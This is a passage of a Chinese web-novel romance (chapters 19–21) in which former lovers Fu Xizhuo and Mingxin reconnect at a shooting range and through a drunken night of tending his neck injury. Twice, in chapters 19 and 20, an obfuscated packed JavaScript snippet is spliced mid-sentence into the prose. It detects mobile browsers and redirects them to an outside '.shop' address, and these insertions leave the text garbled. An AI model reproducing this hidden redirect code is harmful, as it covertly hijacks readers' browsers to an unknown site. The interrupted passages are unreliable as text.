傅西灼打了一眼就说:“重要的是心意。” “你说得倒是轻巧,你这种从小就被印在宣传栏上的漂亮字跟我这能一样吗?你快再帮我看看,到底行不行?” “太丑了,评不了。” “我不信,你帮我打给铭心,我问问她行不行。” “她现在不想见我。” “你还想开视频啊?语音就成!” 电话打通,傅西灼一句话没说,直接把电话递给了梁宵。 “喂?看我群里发的照片没,你觉着能行不?”梁宵问。 那端语气有点犹疑:“嗯……还行。心意比较重要。” “怎么你俩敷衍人的话术都一模一样。”不过呢,梁宵还是受了点鼓舞,“那你说我写点什么好?我文采实在一般啊。” “就尽量写得真情实感一点吧,不要太华丽或者太空,我爱你我人生里只有你我没有你不行这种话最好不要写,她会觉得有负担。” “还有呢?” …… 一口气听了不少建议,电话挂断,梁宵归还手机并且要求:“哥,你把这段电话录音发给我吧,说得太长了我记不住。” 回到营地,月亮已经升起来了。 傅西灼坐在火堆旁,看见铭心的帐篷里亮着灯。 她的影子映在布上,抬手在扎头发。 那天在教堂,抵着告解室的墙,她也是这样乱了头发,又闹着让他帮忙扎。 “你折腾乱的,你负责。” “小姐,是你先招惹我。” 亲了他又想跑,世上哪有这样的好事? 回神,手机屏幕里显示着他存好的电话录音。 准备发给梁宵。 “……尽量写得真情实感一点,不要太华丽……我爱你我人生里只有你我没有你不行这种话最好不要写……” 他掐头去尾,点开,录音只剩下五秒。 “我爱你我人生里只有你我没有你不行。” 再截掉一部分。 “我爱你我人生……” 再截。 …… 录音只剩下两秒,他重命名保存进手机。 点开。 手机里传出她清甜而温柔的声线。 在静谧而沉沦的夜晚,他固执地、不停地按下播放键。 “我爱你。” “我爱你。” “我爱你。” “……” 19. 第 19 章 江依和梁宵在外面过了夜,没有回来。 早上一睁眼,铭心就只看到傅西灼。 他们住的这地方在半山腰上,往上看,更高的山上还种着不少粗树,枝条却都很细,因为没有叶子,显着光秃秃的。 往下……她不太敢往下瞧。总觉得一看就晕乎乎的,像要被什么东西吸下去。 傅西灼就站在边缘往下看,不知道在赏哪一片的景。 铭心刷着牙过去,用没沾上牙膏沫的那只手拽了拽他的衣角,发音有点含糊:“你往后站站。” “饿了?”回过头,他问。 我怕你掉下去啊。铭心在心里说。 也不知道他是听没听清她的话,总之俩人的话对得很参差。 不过也确实是饿了,铭心点点头,他就回去生火。 风把淡淡的烟味送进鼻腔,铭心擦完护肤水从帐篷里出来,外面已经是一片烟雾弥漫。 “我们下山去吃吧,毛毛姐推荐了一家射击馆,说挺有意思而且还管饭。” 听到这提议,只一秒,傅西灼就放下了火枪。 “烟。”他闭着一只眼,面朝她:“进到眼睛里了。”口气有点撒娇似的。 铭心帮他呼呼,又扒开眼皮看了看说没事,但,“我们不能站在这儿了,赶紧走吧。” “地址在哪?” “这家。” 把手机递过去,他接过来,把屏幕调亮了些,看完又还给她,往车那边走:“路上再挑一家吧,这里不行,禁止你出入。” “啊?”铭心想不通怎么会有一家店禁止人进去。 转念一想,会不会是要求不能带宠物之类的? 可她也没有啊。 “我又没随身带猫猫狗狗,为什么不能进?”说完,她赶上他,歪头追着他眼睛,刻意耍了个贱,“你不算吧?” “看路。”傅西灼扶了她一把,停下来,皮笑肉不笑道:“猫跟狗都可以,你不可以。” “为什么?” “那里是我朋友开的。” “你朋友?哪个朋友?你朋友认识我?我跟你朋友有过节?” “……” 似乎被她这连环追问问烦了,傅西灼安静了半晌,然后开口说:“你跟我有过节。” 刻意强调了“我”字。 铭心愣住。 这是什么意思? 进了车里系好安全带,她还在琢磨。 “我跟傅西灼有过节,所以傅西灼的朋友不待见我。”——是这么个意思吧? 这么理解应该没错。 可她跟傅西灼的关系……从哪里开始算过节呢? “就去你朋友那吧。”不管了,“我又不是去让他喜欢我的,纯粹生意关系,我出钱他总不能不收吧?” “……真的不收?” 下了车,铭心远远就透过窗户,看见了收银台那站着的人。 “……” 呃,怎么是他。 回过头,她小声对傅西灼怪罪:“你就不能多交点朋友?” 什么嘛……他说的“朋友”居然就是毛毛姐夫,黄连。 还真是人生何处不相逢。 已经走到了前台,铭心勇敢地,迎上黄连嫌恶而带有敌意的眼神,试探着问:“这里可以点菜对吧?” 上回在超市碰见他的时候,他也是这副表情,看她就跟看突然侵入卧室的虫子似的。 “只有单人桌,只能点单人餐。”黄连冷冷地。 铭心往后打了一眼。 “那不有挺多空位吗,两人桌四人桌都有。” “今天只开放单人桌。” “……好吧。”你是老板你说了算。 “一份咖喱鸡排饭,饮料要橙汁。” 菜单就在手边有一份,铭心拿着挑,点完了,正想问傅西灼吃什么,余光瞥见一张黑卡在修长手指的助推下,缓缓平移到对面。 傅西灼的声音淡淡响起:“你在赌什么气?” 片刻,另一只小胖手又把卡缓缓推回去:“可不是什么气都能用花你的钱来抵消。” “……”搞什么呢这俩人。 尽管目光一直锁定在菜单上没抬头,铭心心里却好奇坏了——这俩人在打什么哑谜?她怎么听不懂? 找了张单人桌,傅西灼拖了个板凳坐在她对面。 边嚼着米饭,铭心问:“你们吵架了?” “嗯。” “你的错他的错?” “算我吧,没听他的话。” 铭心点点头,决定充当人生导师:“就算是朋友也有意见不合的时候,如果觉得他说得对,那你道个歉这事就过去了。” “他说得对,但我不会听。” “……”铭心有点没招儿了。 “那你们给彼此一点时间空间,没准过段日子就都想通了,求同存异嘛。” “觉悟这么高。”傅西灼嗤了声,语气很不信服似的,“你是这么干的吗?” “我怎么了……” “还给彼此空间呢,跟我吵架之后十分钟就闯进卧室来的不是你?” 他突然把“当年”的事挖出来追究,铭心不说话了。 她知道回忆技能一触发,不管她说什么他都不会让她安生吃饭了。 最后一口米饭咽下去,铭心才接回前面的话题:“那是在哄你。” 说完起身收拾了餐盘,往三楼走。 “哄我?” 傅西灼很快地走到她前面,长腿往楼梯扶手上一横,拦住她去路。 “要出去睡客厅的时候用比这瘦一圈的小细腿强行拦住不让我走,这是哄?” 好吧,这是事实。但铭心并不觉得她做错。 “得在同一个空间里才能沟通解决问题啊。” 走了还怎么解决? “解决问题?”他冷酷地揪出她话里的漏洞,“你当时说,是因为‘想待在一起’。” “……” 铭心在脑子里扒拉着以前的回忆。 “我知道你不想见我,但我是想看见你才来的,就算吵架也想待在一起,你要是想继续吵的话就在这里吵吧,不许走。” ——她当时貌似是这么说的。 跟年轻时候充满感性美的陈词相比,现在的“解决问题”的说法好像是有些冷酷了。铭心别过头,小声申辩:“那个也是在哄。” 他们之间没发生过什么原则性问题,但有时会为一些芝麻绿豆大的事闹别扭。事情虽小,但不解决就会一直累积。 铭心不想敷衍地装作没发生或是等他自动消气,就主动“破屋”解决问题了。 半晌,傅西灼冷声称赞:“那你还真是策略高明。” 楼梯很陡,爬到三楼整个人就已经没什么力气了,铭心靠在扶手上调整呼吸:“要不然我们回去?我怎么感觉……今天的运动量……已经达标了呢……” “不敢比?” 她喘口气的空档,傅西灼已经走到货架旁,神色悠闲地从一排枪里挑出一把来,对准她:“因为怕输?” 经过这二十多年对自己的探索,铭心已经很了解“激将法”对她的杀伤力,往常为了克服这个“弱点”,她总会有意识地先不接话,留给自己一段思考和缓冲的时间,以便她精细考量后说出否定的答案,但不知怎的—— 傅西灼的话好像对她有着额外的刺激量。 同样的话别人说出来她不以为意,从他口中一吐,她的士气和火焰就腾地烧起来了。 走到他跟前,她把枪一夺,眼睛瞪得大大的:“谁怕了?” “这把我用,你再挑一把跟我一样的。”她口气很自信,好像他已经是她的手下败将似的。 “控制变量。”同时,她连这也替他考虑到,“别等会儿输了怨枪不行。” “开始吧。”傅西灼举枪。 两人同时。 砰,砰,砰。 三发子弹射完,她看了看自己的,又看看他的。 这成绩……徒弟打死师傅了。 铭心忍不住嘴角上扬。 控制了一下表情,她摆出沉稳的样子,像个胜利者一样安慰:“很久不练了吧?没关系,手生是很正常的。” “看你的技术,倒像是一直在练。” 傅西灼举枪瞄准,却没有再射下一发,问她:“有人陪练?” “有啊。” 射击这种活动是不需要两个人配合的,当时她刚玩上瘾时一个劲儿拉他来,除了陪伴之外,还有轻微的炫耀的心理。 ——光自己砰砰开枪有什么意思,得有人看到她的成绩欢呼才好。 但俩人分开之后,她不再找这个“欢呼的人”了。 就只是自己砰砰砰。 当然这些隐情都不能被他知道。铭心只好信口生出个人:“教练,会陪着练。” 她是自己练的,说练呢,也没有刻意练什么,纯粹就是为了解压,心情不好的时候来几枪就能舒缓怨气。 还有就是,她偶尔想着,万一有机会再见面,她得跟他切磋一下。 “要不要我教你?”今天,不用切磋了,她以十环连胜的技术提议当他的老师。 “要。” 本以为他会拒绝,会不屑。 就这么突然答应了,铭心反倒一阵堂皇。 他个子高出她许多,她如果想要用以前他教学的方式,恐怕是行不通。 自己在脑中模拟了下,她只决定帮他纠正一下姿势。 手刚落到徒弟肩膀上,徒弟就扭过头:“肢体接触就免了。” ……谁要接触你了,是为了教学好吗。 他要求:“示范给我看。” “哦。” 哪有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17354643|198943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么指挥师傅的!铭心却窝窝囊囊地答应了。 反正她也没有那么想碰他。 一声不吭地,铭心把动作分解了,放慢速度,好让他看清每一步。 “这样?”他模仿着她举枪的动作。 “对。”没想到他看一遍就很准确了,铭心提议:“直接开枪试试。” 砰砰砰。 三枪都是十环。 “……”铭心此刻觉得自己不像老师,像傻子。 这不是看一眼示范就能做到的。 明显就是,他一直在装失忆菜鸟逗着她玩! “很喜欢当我的学生吗?”铭心把枪对准他,语调凉凉,带着点气。“还想让我教你点什么?演戏就算了,我可不擅长。” 傅西灼放下枪,护目镜一摘,笑。 “生气了?” 这熟悉的逗弄的口吻。 铭心忍了忍,努力让自己平心静气:“不想看我生气就少做这种把人当傻子的事。” “没不想看啊,好看,看得很满足。” “……”被他这欠儿了吧唧的语气气了个够呛,铭心忍不住骂:“你有怪癖是不是?” “不仅好看,而且,还看出点别的。” 他朝她走,视线打在她肩膀上。 “开枪的姿势跟当年我教你的一模一样,连角度都没有任何偏差。” 走近了,他熟练而迅疾地。 折下她手里的枪。 “你说……你有过新教练?” “当然有。”因为被戏弄了,铭心把反调唱得更明显。 “你是我的第一个老师所以影响会深点罢了,不代表就没有别人。” 他点了点头,样子颇为认同似的。 “再说了,有没有都无所谓吧?只是娱乐消遣而已,你有必要在这种事情上耿耿于怀?” “当然有所谓。” 铭心没想到他会这么答,一怔。 “你也是我的第一个,所以有所谓。”他凑近,轻声地,把话落到她耳边。 “第一个什么?”铭心想了想,“学员?” “女人。” - 电话响了。 黄连在电话里问:“你们干嘛呢?” 走到黄连房间,傅西灼言简意赅:“把监控拆了。” “你以为我想看啊?我是好奇你到底能傻到什么程度。她都把你甩了,你怎么就不长记性?” 黄连振振有词:“这种人我告诉你,她坏事不会只干一次,你再跟她好一遍,那还是一样的结局,照样一无所知地就被分手了。所以你稍微长点志气,别往她身上贴了行不行?” “拆不拆?” “怎么,怕我看到你俩在一块又来念叨你?我告诉你啊傅西灼,我不会支持你那该死的找虐的爱情,如果你没有她就一辈子不笑了不快乐了,那我宁愿要一个不快乐的朋友……” “是怕你在监控里看到不该看的。”傅西灼抢过他的话。 “现在重点是这个吗!你到底听没听进去我的话?”黄连被气死了。 “听见了。”他声音很轻,像找不到路的游魂,“听不进。” - “要回去了?我马上结束。”铭心看见傅西灼又回来找她,对着门知会了一声,把枪都放回原位。 到了门口,他挡在那,突然问了一句。 “你为什么跟我分手?” “……” 铭心像被个棍子闷了一棍,好半天想不出话来。 末了,她转身,想从后门走。 被他扯住。 固执地,怎么都不肯松。 挣扎无果,她回过头去:“我不打算说。” 她用商量的口吻:“你呢,还打算继续问吗?” 许久。 他才像个没力气站直的气球人,往门边颓然地一靠,让开她的路。 铭心走出去两步,又退回来,指尖游向他的脖颈:“这里……” 走廊昏黄的灯光照着一小块天地。 手一触上去,他的喉结微微一颤,慢慢滚在她手心里,像暗暗浮动的海浪。一浪一浪,以极小的幅度涌动着。 “怎么回事?” 她一问,他就仰起脸,喉结往她手心一顶,仿佛才觉到了疼。 “说啊。”她有点急。 他低下脸来。 表情却完全不同,——跟她想象中的。 连皱眉都没有,他淡淡地,含着点笑意睥她。 让她觉得,此刻相比疼痛。 他感觉爽。 铭心把手移了一寸。 下一秒,他垂下视线,用腮颊追着她的指尖,一路贴到腕骨。 再抬起眼时,眼里已经含上一层水光。 湿漉漉的,他用极委屈的声线求。 “你亲亲我。” 20. 第 20 章 铭心的瞳孔颤了两颤。 难以置信地,她怀疑自己耳朵出了问题。 ——要不然怎么听见了特别不像话的话? 来不及仔细琢磨他这想一出是一出的动机,铭心拿手捏住了他的下巴,侧着一推,使他歪成一棵最俊美的歪脖子树,借着直打下来的灯光,看清了他脖子上的红痕。 她吓了一跳。 很长很细的一道,凑近了看更显着严重,让人不由得想到恐怖片里的人偶。 这么一联想,再去看那道勒痕,她更觉得他的脑袋像被缝在了颈上。 该有多疼啊。 这人怎么一点都不懂得照顾自己? 带着点心疼,铭心“啪”的一声把手心掴在他手臂上。 当然没用什么力气,只是听着声脆响。 “啊!”他叫。 “你别夸张了你。”铭心瞪他。 傅西灼抱住了手臂,把眼睛睁得圆圆的,小狗一样看她。 挨打后的对视更显安静了。 他慢慢地,把睫毛盖下来,头却仰得更高。 脖子袒出来,他再向她确认:“看清楚了?” 清楚。清楚得不得了。 就这状况还惦记着讨个亲亲。铭心鼓着气,拉他:“走吧。” 首要任务是带他去治治。 “我没说完呢。”他拽她回来。 铭心:“……” “你没回答的那个问题,”他讨价还价,“亲我一下,我就当做答案。” 铭心快被他气死了。 用另一只手调出相机,切成前置摄像头对着他脖子,她让他看:“你自己瞧瞧都成什么样子了。” “还好啊,不是很吓人。” “我现在都感觉你阴恻恻的所以你就别想那些邪门的办法了,老老实实找医生好吗?” “很恐怖?觉得我头马上要掉了?” 猜到了她是这么想的,他透露出轻微的不乐意:“少看点恐怖片吧哪有把这么帅的脸想成鬼的。” - “附近有药店吗?”出去后铭心问黄连。 “有啊。”黄连说。 却并没有要去跑腿的意思,只念了个名字:“恒康大药房,离这不远,你导航一下就能找到。” 铭心在地图上搜到了,嘱咐说:“你看好他,我去买。” “这么大人了还能突然消失不成?”黄连嗤了声,透着点她小题大做的轻蔑。 铭心踢他一脚。 黄连立刻跳起来:“哎没踢着——” 铭心:“……” 对着傅西灼的患处拍了张照片,铭心琢磨着,跟她打枪的时候还好好的,出去一趟就这样了,必定跟黄连有关。 “你弄的吧?”她审问。 “他皮儿太薄了,正常人被勒一下哪会看起来这么吓人啊。” “你还勒他?”铭心恨不能再飞起一脚。 “这我真不是故意的。” 铭心瞪他。 “他非要走,我一急就找了个抓手想拽住他,让他别跑到某人那自讨没趣。谁知道这家伙跟疯狗似的栓都栓不住,项链都给弄断了。” 听完他的解释,铭心终于把那一脚飞出去,这回踢中了。 “你说话好听点,你才疯狗呢,你,”青春期过后她再也没学习过脏话,以前的也都忘了,脑子里没有这一块的储备,铭心捉了急,想来想去,她恶狠狠地搜刮出一句,“你这人太坏了!” 黄连噗嗤笑了。 “你踢回来吧。”铭心骂完人又把腿往前递出一点。 黄连呆住了。 呆了差不多有十秒,才结结巴巴地问:“你……你是不是外星人?” 铭心一走,黄连皱着脸朝傅西灼:“她一直都这样?你这是跟什么人谈恋爱啊,神了。” “你听见她刚才骂我什么了没?说我这人太坏了,”黄连只觉得神奇,“这骂的还以为给我挠痒呢,还踢我,踢完了又让我还回来?她这样打架能赢?别把对手笑死了。” 傅西灼心情很好,忍着笑:“她很少会这样,你今天赚到了。” “赚什么?赚了骂赚了打?” “这位生气的样子可不是谁都能见到的。” “谁?谁想看?” “多漂亮啊,不觉得吗?” 黄连:“你没救了,真的。” 风还是很凉,吹散了点铭心心中的怒气。她刚才很想对谁发个火。 可现在清醒下来一想,黄连是他的朋友,她是他的……什么人呢? “我们家xxx刚才离开的时候还好好的,跟你待了会儿怎么就变成这样了?”——她有什么身份和立场去像这样讨要一个说法呢? 这是亲密的人才会有的特权,她算个什么? 她是不是有点得意忘形了呢? 铭心忍不住想。 从出来露营开始,她跟他的相处就已经偏离了她原本预计的轨道,一些过往的习惯作祟,她起初没发觉。 后来觉得了,她蒙着眼塞着耳,不去推他回原本的轨道而把这趟旅程当做了一次短暂的,不计后果的郊游。 郊游嘛,即便有规则,她也可以偷偷懒,躲在森林里偷一点欢。 他拨开树枝找到她,给她散发着香气的果子;分不清是关怀还是毒害,她就只是收下,即便不吃也放在兜里。 今天——她却差点想咬一口了。 越跟他相处,从前的回忆就越鲜明。那些曾经被她当做养分的,在无数个日夜里支撑过她的回忆,在如今活生生的他面前,变成了过去的残片。 她不止一次地觉得,现在要更好。 比起咀嚼回忆,创造新的回忆要更好。 不管是快乐的、难过的、愤怒的、心痛的,都好。 因为有一天少一天,不定什么时候,他就回到他的世界里去了。 一个人要让另一个人找不见,是相当容易的事。 她曾经试过。 …… 黄连收了买回来的药,看一眼刚从外头回来,鼻子耳朵手都冻红的“踢腿者”,道:“我帮他上药就行,用不着你了,谢了。” “嗯。” 铭心盯着他,似乎要旁观上药过程。 被她这么看着,黄连立刻又觉得自己的腿在隐隐作痛似的,摸摸鼻子,他道了歉:“抱歉,我当时没注意到这么严重。” 他们统共也就在超市见过那一次面,对她的印象只是漂亮而已。 哪见过生气啊。 本来就亮的一双眼睛,不客气起来,黄连感觉自己要被盯穿了。 刚想让傅西灼来救救,一看那家伙已经乖乖躺到沙发上,一点平时高傲的锐气都没有了。 他跟个待宰的小羔羊似的看着这边——主要是看着她。话却是对黄连说的:“药呢,我要涂药。” “……”他这虚弱而乖仔的声音一出,黄连根本想过去给他一脚。 我让你涂药的时候你怎么不涂! 我明明一开始就说了!不准走!先随便抹点什么! 结果呢,这钢铁人从他身边强壮地跑走又幽幽飘到人家那当受伤小狗去了! 黄连拍了拍自己的大腿,告诉自己温柔些,不要启用暴力。 走到傅西灼那,余光瞥见铭心走了,他才把音量抬高:“怎么不说话了?怂得跟个鹌鹑似的。” “没看到生气了吗。” 傅西灼心情极其愉快,把脖子让出来。 “你还怕人生气?我气多少回了也没见你乖乖听话。再说了,你不是觉着人家生气漂亮吗?那你怎么不追过去?跟屁股后面去看个够呗。”黄连把药往他手里一拍,不打算帮忙了,“自己对着镜子弄去。” “怕啊,怕死了。她是我重生几辈子都对付不了的人。” 黄连:“还装。” “真的,”傅西灼举着那管药看,“我都开始学习谨言慎行了,怕又给吓跑了,每天都提心吊胆呢。” 黄连:“你谨言了?你慎行了?” “我想,但失败了。” 傅西灼脸上带了点遗憾的表情,口气却不像在反省:“我呢,仗着这点伤跑去卖惨了,还说了点不该说的。” 提到伤,黄连就有点撇嘴:“你这伤也没那么严重,只是看着吓人,实际上不涂药过几天也就好了。” “嗯,她一般就这么干。”傅西灼语气轻下来,像在说一个久远的故事。 “受伤的时候,最喜欢一声不吭,其次喜欢躲着不跟我见面。” “通常我从别人那里听说的时候,她已经好了。时间久到……我连她伤到了哪里都看不出来了。” 少见傅西灼这么走心,黄连听得很认真。听完了才点评:“那她对你倒是体贴,一点小伤紧张得要命,还害我白挨一脚。” “我也想让她用对待我的方式对待她自己,可她觉得无所谓,也不听。” “都分手了还说这些干什么。”黄连不愿让他继续说,也不愿再听,“当时把你伤成那样你忘了?现在又甜蜜了?走了,非要说就对着空气说吧,没人愿意听你那怨夫爱情故事。” 下楼,走到收银台想算算账,桌子那却坐了一个人。 “有酒吗?”铭心朝他看过来,问。 有是有。 “没有就算了。”表情失落。 啊行行行。有有有。 黄连叹口气。 真受不了这一对儿“卖可怜”时的眼神,如出一辙的,让人起恻隐之心。 黄连从酒柜里拿出一整瓶红酒,走过去。 开了,给她倒了浅浅的几滴。 铭心冲着他笑:“……就算是毒酒,这也不能起作用吧?” “这些挺多了。”黄连把酒瓶拿走,煞有其事地说。 “就喝一杯,我会付钱的。” “……” 好吧。 黄连又拿回来。 他并不是在意钱不钱的,只是这位一看就是有酒胆没酒量的人。 要真灌醉了,傅西灼可不放过他。 但她就这么眼巴巴地等着,也很难说出拒绝的话。 算了,她说什么就是什么吧,黄连心一横,给她满上。 倒完他低下头,心里不知怎么的,对她有点怵。 他们的见面都不是很愉快,第一回他莫名地开罪于她,口气不善,话也很不好听。她那时候也没反驳过,对他的阴阳怪气一笑置之,像朵迎风对人笑的花。 今天却好像变了副样子。 他看得出来,她对傅西灼的那点气——由担忧、心疼组成的,——还在眉目间藏着。 让黄连第一次觉得,好看的人显露情绪,非但不会减损美,反而使这美更生动。 更具一种引力。 黄连渐渐地,动摇了想法。 …… “你很讨厌我吧?”喝了一口酒,她开口闲聊。 开场白就这么不同凡响,黄连笑了一下。 考虑到他们之间紧张的关系。 又怕她把这笑当成是挑衅了,紧急地收敛了嘴角。 他摇头,“现在不。” 这话很唐突,但他不喜欢说假话。 而且他也寄希望于他的真话能在她心中产生点力量——让她遗忘掉过往他的嘴脸,而重新认识现在的他。 “我希望你继续讨厌我。” 铭心一口气把那酒喝干了。 仿佛决定就此结束话题似的,她起身。 “说了不讨厌你。”黄连拦住她去路,不满意她叫他来就只为说这一句他根本不懂的话。 她看着他。 在那双眼睛的威逼下,他又垂下头,柔声地劝:“你喝太急了,缓一缓再走吧。” 眼睛弯成月牙:“那你要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373894|198943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 允许我再喝一杯。” “行。” 他遵从她的要求,等她又落了座,才问:“刚才的话是什么意思?” “嗯?” “说让我继续讨厌你什么的……” “啊。”她思考的频率已经有些慢,“我好像做不到你要求的事。” 话也慢慢的,很轻,他看得出她醉了。 “远离他,别再跟他沾边,因为我做不到这些,你才讨厌我的吧?” 黄连叹了口气,问:“很难吗?” 已经分手的情侣,做到互不打扰很难吗? 对朋友的心疼在转瞬间压过对她的欣赏,黄连的声音又冷下来。 “你害他害得很惨。” 他说:“他对认定的事情很执着,今后也会一直在你身边打转,你呢,你就不肯放过他?” “……”面前的人已经有些懵懵的。半晌,她提议:“跟我说说以前的事吧,关于他的。” 这倒是专业对口了。 黄连就只管谈论着傅西灼的家世是多么显赫,他在同学中是多么优秀,他又曾经有过多么光明的前程。 他企图让她知道他对她没有好感的最大原因,是她把这么强大而意气风发的人给摧毁了。 由浅入深的,他又开始讲他们在国外的事。 讲他去看他。 约好在公园见面,他在长椅上找到他。 跟过往印象里的傅西灼截然不同,他消瘦了,失活了。 他整个人变得很轻,像一片纸、一朵云、一枚枯叶。 落在无人公园的长椅上。…… “你说,你是不是该消失,再也不见他?”思绪回笼,黄连把话题拉回来。 铭心很晕,但竭力在理解,在处理刚刚听到的信息。 她向来是不感动于这样的论调的——一个人哪能轻易地就让场不如意的恋爱给毁了? 何况他是傅西灼。 那样理智而傲慢的一个人。 他从不失控。 可黄连的话还是像硬生生刺进去的纹身一样,一字一字都刻进了她的心里。 她越咀嚼,就越难过。 她的理智与她的情感分离开来。 她迷茫,并且心痛。 该去找他吗? - 咚咚 咚。 这样的敲门声,只可能是她。 可这是他的房间,她为什么要来? 一开门,她就立在门外。 眼下已经泛了明显的红色。 傅西灼下意识往前一步,想要接住她。 面前人凑近了,有淡淡的酒味。 “我能站稳……”只是话说得不利索:“我是来……” 他从她黏黏糊糊的只言片语中听出,她来这里,是好心来替他上药。 醉成这样。 他都不确定她会不会把巴掌拍在他的脸上。 “跟谁喝的?” “黄、连……。” 他竟不知道他们的关系什么时候变得这么好了? “进来吧。” 她走得很稳,除了涣散的眼神,看起来几乎跟正常人没什么区别。 正要去准备点解酒的东西,“类正常人”突然歪在了地毯上,片刻又顽强起身,拍一拍手边的沙发,指挥他:“……坐过来。” 傅西灼刚洗过澡,身上每一处都干干净净的。 要是被她摸摸碰碰,那碰完了,他又要重新洗一次澡。 但醉酒的人说又说不通,一直重复一样的话。 当第三声“过来”从她口中吐出的时候,他就像个听主人话的小狗一样过去了。 坐在沙发上,他跟她保持着一些距离。 “药呢?” “主人”又下了新的命令。 正要去拿,她往沙发上一趴。 仿佛身体已经支撑不住她挺直腰背跟他说话似的。 傅西灼起身起了一半,没法子,又坐回去。 一坐,他发觉这样的姿势很好。 他不想去拿药了。 也想过会儿再多洗一遍澡。 她还在喃喃讨着药。 傅西灼渐渐地,冒出点坏主意。 ……食指在旁边的桌上挑了一下,“药”就送到她指尖去了。 铭心没注意到这药的来处,抬起脸来,微微起身,手指跟他的一碰,沾了“药”,抹到他脖子上去。 喝醉的人上手没什么轻也没什么重,统一都是蛮横的。 她胡乱而均匀地为他的伤处敷好了药。 傅西灼原本是不怎么疼的,让她这么一折腾倒是疼得要命了。但相比其他人……他还是宁愿在她这里受刑。 “帮你……涂……好、了……” 她的呼吸喷在他脸上。 说是好了,手却还抓着他的衣领不放。 傅西灼整个人是向下的,低着身子被她用一只手“绑架”着。 坐地上跟沙发有高度差,她往上凑,帮他吹。 声音有点发颤:“……疼吗?” “疼得要命。” 他没打算耍酷,这种情况下装坚强只有坏处。 她又吹了一下。 “还疼。” 傅西灼又说,声音却已经变得哑。 说完,她一用力——准确来说是用了很小的力——去拉他的衣领。 他就突然自动地,一整个滑下来,到地毯上。 像跟她长在了一处。 “疼……很疼……” 他知道这个字就像咒语一般会起作用。 他等待着。 一秒、两秒、三秒…… 她的呼吸渐渐游移。 湿润而略带凉意的嘴唇,最终贴上了他的颈。 “药,”她的声音是软的,闷在他的肌肤里问,“……甜的?” 21. [锁] [此章节已锁] 偌大的房间好像缩小成个核桃。 人紧在里面,肢体的升温变得很鲜明。 她的手搭在他后颈上,很热。 两条手臂一交,合了个圈子,力道把他往前带——她的方向。 傅西灼的唇着陆在她嘴角。 极轻又极快地,他吸了一下。 把那点奶油吃到自己嘴里。 “我错了。”低声地,他道着歉,“奶油是你不喜欢的香草味。” 这蛋糕是黄连送来的,说是研发的新品,先送给他这种挑嘴的人尝尝,要觉得好吃的话,下星期就正式上菜单。 “嗯……嗯……”她已经不会说话,而只剩下一些谁也听不懂的呓语。 嘴里咕噜咕噜没停,像小鱼吐泡泡。 傅西灼却解码了,她意思是困了,想睡觉。 手松了他,她的整个身体附在他身上往下滑,瘫软成一团云,轻飘飘地伏在他腿上。 房间又大了。有风溜进来。 他拽一条毯子盖在她身上。 看着她,傅西灼突然觉得自己可悲。 这幻梦般的一晚是怎么发生的呢? ——他知道。 知道她对痛觉的感知比常人更为敏感。 而她又向来以自己的经验作为参考,来体味别人的伤痛。 因此每逢他有点小伤小痛,她就以为他在经历世上最难忍受的酷刑而想帮他减轻一些。 不管用什么方法。 当然,方法通常是由他指定。 一个笑,一个吻…… 但凡不过分,外加他稍微撒一点娇,她总会满足。 今天他也走了卑劣的捷径。 他像条狗。 借着“自作孽”换来的伤口卑微乞怜。 伤口是他露在外面的尾巴。 他千方百计招摇着,无耻地渴求她的吻。 - 铭心扭动着身体把厚重的被子踢开。 猛地睁开眼。 好热…… 她坐起来,大口喘气。 视线所及是一扇金粉白鹤屏风,崖上的白鹤欲展翅,天上的白鹤正回头。看不到外面的场景。 但很明显,这不是她的房间。 洗漱台上都是一次性用品,大概这里跟酒店房间差不多,是客房。 脸上一层油光,细看,黑眼圈也有一点。 昨晚上睡得不好,还做了不该做的梦。 怕一会儿房间来了人,铭心赶紧洗漱,洗完了下楼,黄连正把一大块三明治往嘴里送。 铭心走过去,跟他斜着坐,同时避免眼神接触。 正按揉着太阳穴缓解轻微的头痛,盘子发出嗤啦声。 睁开眼,一盘三明治被推到她眼下。 “吃吧。”黄连说,“那位一大早起来做的。” “那位”也落了座,坐在她对面。 铭心挪了挪屁股,坐到黄连对面去。 三明治挺好吃,她却吃得看不出好吃来。记忆藏在脑子里,她正一点一点往外挖。一口面包体嚼了不知道多少口,最后喝了口水顺下去。关于昨晚,她开始有了一点眉目。 她记起来她喝醉了。 好人属性大爆发,去帮他涂药。 涂完药…… 涂完药? ——直觉发生了很了不得的事,她却没有具体的片段浮现。 那记忆模模糊糊的,跟她的梦混为一谈。 她不确定,她对他做到了什么程度。 “没睡醒啊?”许是看到她闭眼,黄连关心了句,说:“我也一样,看我这黑眼圈。” “昨天不应该找你喝酒的。” 铭心这话是出于真心,在发生了昨晚的混乱之后。 “跟这个估计也没关系,就是个人体质,你看你俩也喝了,气色还那么好呢。” 他也醉了?铭心并没有这个印象。 黄连没有继续这个话题,她也就没找到机会问。刻意提出来怕显得奇怪。 黄连又问起饭合不合胃口,问她房间怎么样睡不睡得惯,醒来有没有头痛。 铭心一样一样答,却答得很慌张。 不知怎的,这顿饭的一切,她都觉得意有所指似的。 直到黄连把一块小而眼熟的奶油蛋糕呈上来,她绷着的那根弦才彻底断了。 这个蛋糕——她曾见过的。 铭心自认有点脸盲,对人脸的辨识度不怎么高,对吃的东西却是行家,堪比扫描仪。 